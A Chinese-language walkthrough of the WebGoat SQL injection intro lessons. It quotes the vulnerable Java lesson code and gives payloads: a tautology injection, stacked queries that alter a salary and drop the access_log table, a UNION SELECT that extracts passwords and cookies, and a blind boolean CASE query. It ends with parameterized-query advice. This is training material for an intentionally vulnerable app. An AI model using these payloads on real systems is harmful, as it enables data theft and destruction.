WebGoat SQL Injection (intro) 源码分析

首先了解 java 中 mysql 的连接:java连接Mysql

WebGoat SQL Injection (intro)

10

根据提示:下面两个输入框只有一个受到 sql 注入攻击。题目要求是检索到所有数据

发现请求路径为 SqlInjection/assignment5b

定位到所在文件如下,根据代码可知:

  1. 使用的 PreparedStatement 执行 sql 语句,并且 SQL 语句中,Login_Count的值使用占位符 ? 代替,从而避免了Login_Count 值受到 sql 注入攻击;
  2. 并且判断了Login_Count 值是否为数字类型;
  3. 而userid 值在 sql 语句中并未使用占位符,而是依然采用拼接 sql 语句的方式,从而导致存在 sql 注入。

public class SqlInjectionLesson5b extends AssignmentEndpoint {

    //表明dataSource是一个LessonDataSource类型的对象。
  private final LessonDataSource dataSource;

  public SqlInjectionLesson5b(LessonDataSource dataSource) {
    this.dataSource = dataSource;
  }

  @PostMapping("/SqlInjection/assignment5b")
  @ResponseBody
  public AttackResult completed(
      @RequestParam String userid, @RequestParam String login_count, HttpServletRequest request)
      throws IOException {
    return injectableQuery(login_count, userid);
  }

  protected AttackResult injectableQuery(String login_count, String accountName) {
      //SQL 语句,Login_Count的值使用占位符 ?
    String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;
    //连接数据库。
    try (Connection connection = dataSource.getConnection()) {
        //创建一个 prepareStatement 对象,用于执行 SQL 查询。
        PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);

      int count = 0;
      try {
        count = Integer.parseInt(login_count);  //判断字符串login_count是否为整数
      } catch (Exception e)
      {
       ...
      }

      query.setInt(1, count);  //将query语句中的第一个参数占位符(索引从1开始)Login_Count替换为count的值
      // String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid
      // = " + accountName, ;
      try {
        ResultSet results = query.executeQuery();

        ...
      } 
  }
}

所以可知userid 值存在 sql 注入,并且Login_Count 的值需要输入数字类型才行

所以输入如下,即可获取所有查询数据

11

执行后定位到代码所在文件,可以看出使用Statement 的方式执行 sql 语句,并且 name 和 auth_tan 是使用字符串拼接的的方式插入到 sql 语句中,且未进行任何过滤

题目要求是查询到所有数据。可以构造如下语句成功查询

拼接后所执行的 sql 语句为

SELECT * FROM employees WHERE last_name = '' or 1=1 --+' AND auth_tan = ''

12

上一题仅仅是获取到全部员工的列表信息,这次题目要求将数据库中自己的工资修改为比 Tobi 和 Bob 的工资高。利用联合查询,同时执行多条 sql 语句

' or 1=1; Update employees SET SALARY=99999 where USERID=37648 --

13

题目显示存在一个 access_log 表,记录了我们的操作,现在需要把它删除。观察源码

执行的 sql 语句的含义:用于从名为access_log的数据库表中检索数据。这个查询的目的是找出表中所有action列中包含特定字符串(即变量action的值)的记录。

String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'";

与上一题思路相同,再第二句SQL语句中执行 DROP 命令,删除access_log表中的数据。所以构造 sql 语句

' or 1=1; drop TABLE access_log --+

### WebGoat 高级 SQL 注入挑战指南 在处理 WebGoat 的高级 SQL 注入挑战时,理解如何利用 SQL 查询结构来绕过应用程序的安全措施至关重要。下面提供了一个详细的解决方案和一些关键点。 #### 使用 `UNION SELECT` 进行数据提取 通过构建复杂的 SQL 语句可以实现对数据库内部表的数据读取。例如,在尝试获取用户信息时: ```sql Dave' UNION SELECT userid, user_name, password, cookie, 'a', 'b', 1 FROM user_system_data-- ``` 这条命令巧妙地使用了 `UNION SELECT` 来附加额外的选择操作,并且通过 `'--` 将后续部分作为注释跳过[^3]。 #### 利用条件判断泄露信息 对于更复杂的情况,可以通过构造带有逻辑判断的查询来推断特定字段的内容。如下所示的例子展示了如何逐位猜解 IP 地址的第一个字符是否为 ‘1’: ```sql CASE WHEN (SUBSTRING((SELECT ip FROM servers WHERE hostname='webgoat-prd'), 1, 1) = 1) THEN hostname ELSE id END ``` 这种方法依赖于服务器响应的变化来确认猜测结果的有效性[^4]。 #### 安全编码实践建议 为了避免类似的攻击发生,在编写实际应用代码时应遵循良好的安全编程习惯。确保所有输入都经过严格的验证与清理,并采用参数化查询等方式防止恶意构造的 SQL 片段被执行[^2]: ```java String query = "SELECT * FROM users WHERE username = ?"; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, userInput); ResultSet rs = pstmt.executeQuery(); ``` 上述方法不仅提高了程序安全性,还减少了潜在错误的发生几率。 #### 工具辅助测试 虽然自动化工具如 sqlmap 可以为渗透测试人员节省大量时间,但在某些情况下可能无法成功执行。这是因为目标环境可能存在防护机制阻止自动化的探测行为。此时手动分析并调整注入载荷往往能取得更好的效果[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值